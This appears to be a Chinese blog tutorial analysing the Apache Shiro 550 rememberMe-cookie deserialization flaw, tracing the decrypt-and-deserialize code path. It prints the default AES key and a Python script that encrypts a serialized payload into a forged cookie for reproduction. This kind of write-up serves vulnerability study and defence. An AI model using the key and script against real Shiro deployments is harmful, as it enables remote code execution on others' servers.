• [Java反序列化]—Shiro反序列化(一)


    前言

    前篇进行了shiro550的IDEA配置,本篇就来通过urldns链来检测shiro550反序列化的存在

    漏洞原理

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
    那么,Payload产生的过程:
    命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
    在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

    影响版本

    Apache Shiro <= 1.2.4

    特征

    • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

    • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

    • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

    • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

    流程分析

    看完基本原理应该也不难发现,shiro反序列化主要就是对cookie进行的一系列操作,所以利用点就从Cookie有关的说起:

    shiro原生文件中找到了CookieRememberMeManager.java对cookie中的字段进行管理,其中有个rememberSerializedIdentity(),可以对remember认证信息进行序列化

    在这里插入图片描述

    既然有了对认证信息的操作,就需要获取认证信息找到了getRememberedSerializedIdentity(),主要是对cookie进行base64解密操作

    在这里插入图片描述

    继续寻找在哪里进行了调用,找到了AbstractRememberMeManager.javagetRememberedPrincipals()

    在这里插入图片描述

    其中会调用convertBytesToPrincipals(),进行字节和认证信息转换,跟进一下

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    if中进行了decrypt解密操作,最后返回反序列化内容,跟进一下decrypt(),看看具体执行了什么

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    getCipherService(),获取算法再通过decrypt()对通过getDecryptionCipherKey()获取的key进行解密,跟进getDecryptionCipherKey()

    public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
    }
    
    • 1
    • 2
    • 3

    返回了decryptionCipherKey,看下它是在哪里赋的值

    在这里插入图片描述

    再看哪里调用了setDecryptionCipherKey(),找到了setCipherKey()

    在这里插入图片描述

    继续向上找最终找到了AbstractRememberMeManager(),而它的DEFAULT_CIPHER_KEY_BYTES是一个固定值

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    至此也就相当于找到了解aes的秘钥,为我们的cookie的构造创造了条件

    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    
    • 1

    接着回到convertBytesToPrincipals(),跟进deserialize()

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    接着跟进deserialize()

    protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return getSerializer().deserialize(serializedIdentity);
    }
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    最终就到了readObject执行反序列化

    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    漏洞复现

    用脚本将序列化生成的文件1.txt进行aes加密

    import sys
    import base64
    import uuid
    from random import Random
    from Crypto.Cipher import AES
    
    def get_file(filename):
        with open(filename,'rb') as f:
            data = f.read()
        return data
    
    
    def aesEncode(data):
        BS = AES.block_size
        pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key),mode,iv)
        ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
        return ciphertext
    def aesDecode(enc_data):
        enc_data = base64.b64decode(enc_data)
        unpad = lambda s:s[:-s[-1]]
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = enc_data[:16]
        encryptor = AES.new(base64.b64decode(key),mode,iv)
        plaintext = encryptor.decrypt(enc_data[16:])
        plaintext = unpad(plaintext)
        return plaintext 
    
    
    
    if __name__ == '__main__':
        data = get_file("1.txt")
        print(aesEncode(data))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    在这里插入图片描述

    生成后传入cookie中,成功回显

    在这里插入图片描述

  • 相关阅读:
    树莓派烧录系统
    日语日期相关词汇
    vscode 运行 java 项目之解决“Build failed, do you want to continue”的问题
    docker安装minio及minio的使用
    【数学计算】使用mathematica计算圆周率π
    美国签证被拒签后怎么申诉?
    Spring Security认证器实现
    怎么把图片转换成表格?分享三个简单方法给你
    1944. 队列中可以看到的人数 单调栈
    python执行cmd命令——控制电脑连接wifi——程序打包
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/125477523